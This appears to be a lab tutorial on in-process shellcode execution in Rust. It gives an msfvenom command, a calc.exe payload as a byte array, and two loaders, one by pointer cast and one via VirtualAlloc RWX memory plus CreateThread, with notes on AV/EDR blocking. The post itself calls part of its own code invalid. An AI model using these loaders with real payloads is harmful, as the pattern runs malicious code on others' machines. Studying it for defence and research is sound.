Shell Code Execution in Rust
Shellcode Execution in Rust (In-Process)
Disclaimer: Educational use in a controlled lab only. Run payloads only on systems you own or are authorized to test. Security tools may flag or block these techniques.
What Is Shellcode Execution vs Injection?
- Shellcode execution: Place shellcode in the current process and transfer execution to it. That’s what this post demonstrates.
- Shellcode injection: Write shellcode into another (remote) process and execute it there (e.g., via
OpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread). This post does not cover remote injection.
Rust is memory-safe by default. Low-level operations that interact with raw pointers and executable memory require unsafe, which makes Rust a good environment to understand the boundaries between safe code and OS behavior.
Let’s Get Practical
Install the Rust toolchain. If you’re on Linux/macOS and need a Windows binary, set up the correct Windows target for your architecture (x86 vs x64). Your shellcode architecture must match your Rust binary’s target.
Let’s Create a New Project
cargo new shell_code_injection
cd shell_code_injection
Let’s Generate Shellcode Using msfvenom
We’ll use msfvenom to generate shellcode that launches calc.exe.
msfvenom -p windows/exec CMD=calc.exe -f csharp
(or)
msfvenom -p windows/exec CMD=calc.exe -f rust
Tip: Choose the correct architecture (e.g., windows/x64/exec for 64-bit). The shellcode must match the binary’s architecture.
Example output for the Rust format:
(base) ➜ ~ msfvenom -p windows/exec CMD=calc.exe -f rust
static buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00];
Try These Steps First (In-Process)
- Create a new Rust project.
- Generate shellcode for your target architecture.
- Add the shellcode bytes to a static array in your program.
- Obtain a pointer to the array and call it via a function-pointer cast in an
unsafeblock. - Build and run in a lab environment.
Now, compare with the code below to verify your approach.
Reference Code (In-Process)
Open src/main.rs and add the following. This is an in-process execution example: the program declares a static byte array and jumps to it within the same process.
fn main() {
#[unsafe(link_section = ".text")]
static buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00];
let bufptr = &buf as *const u8;
unsafe {
let exec = std::mem::transmute::<*const u8,fn()>(bufptr);
exec();
}
}
What this does:
- Declares shellcode as a static byte array.
- Takes a raw pointer to those bytes.
- Unsafely casts the pointer to a function pointer and calls it, transferring execution to the shellcode inside the same process.
Important notes:
- The attribute
#[unsafe(link_section = ".text")]as written is not valid Rust; if you want to place data in a section, look into#[link_section = "..."]and its caveats. On modern systems with DEP/NX, section placement can be unreliable; explicit executable memory allocation is a more robust approach, but is beyond the scope here. - This is execution, not remote injection.
Check and Build
cargo check
Build and Execute the Program
cargo run
If your lab environment allows it, the program runs and opens calc.exe as expected.

Troubleshooting
- Architecture mismatch: Ensure shellcode (x86 vs x64) matches your Rust target.
- Security tooling: AV/EDR may block execution; test in an isolated lab.
- Access violations: Often due to executing from non-executable memory. Section placement is not guaranteed; consider allocating executable memory (research Windows API or platform-appropriate methods).
- Calling conventions: Confirm the function-pointer cast is appropriate for your platform.
Shellcode Execution Using WinAPI (Windows)
This variant executes shellcode by allocating executable memory and launching it on a new thread via Windows APIs. It runs in the current process (not remote injection).
Try These Steps First (WinAPI)
- Add the WinAPI crate and features in
Cargo.toml. - Place your shellcode bytes in a buffer.
- Allocate executable memory with
VirtualAlloc. - Copy the shellcode bytes into the allocated region.
- Create a thread at the base address with
CreateThread. - Wait for the thread to complete with
WaitForSingleObject.
Prerequisites (WinAPI):
- Add the
winapicrate with required features inCargo.toml:
[dependencies]
winapi = { version = "0.3", features = ["memoryapi", "errhandlingapi", "processthreadsapi", "synchapi", "winnt"] }
Expected Outcome (In-Process)
- Launches
calc.exein the current user session. - No access violation or illegal instruction; process returns cleanly if the shellcode does.
- If it fails: confirm x86 vs x64 match, ensure the memory region is executable (section placement can be brittle), and consider AV/EDR interference.
- Build for the architecture that matches your shellcode (x64 vs x86). The MSVC toolchain on Windows is typical.
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;
use std::mem::transmute;
fn main() {
let buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00];
unsafe {
let base_addr = VirtualAlloc(std::ptr::null_mut(), buf.len(), 0x00001000 /* MEM_COMMIT */, 0x40 /* PAGE_EXECUTE_READWRITE */);
if !base_addr.is_null() && GetLastError() == 0 {
std::ptr::copy(buf.as_ptr() as *const u8 ,base_addr as *mut u8,buf.len());
let mut threadid = 0;
let threadhandle = CreateThread(std::ptr::null_mut(),0,Some(transmute(base_addr)),std::ptr::null_mut(),0,&mut threadid);
println!("[+] Thread id:{:x?}",threadid);
println!("[+] Thread Handle : {:x?}",threadhandle);
WaitForSingleObject(threadhandle, 0xFFFFFFFF /* INFINITE */);
}else{
println!("[-] VirutallAlloc Failed");
}
}
}

Expected Outcome (WinAPI)
VirtualAllocreturns a non-null address; no last-error set.CreateThreadreturns a valid thread handle; thread ID is printed.WaitForSingleObjectwaits until completion;calc.exelaunches.- If it fails: check architecture match, confirm
PAGE_EXECUTE_READWRITEwas used (or adjust to W^X-friendly pattern by setting RW then changing to RX), and review AV/EDR logs.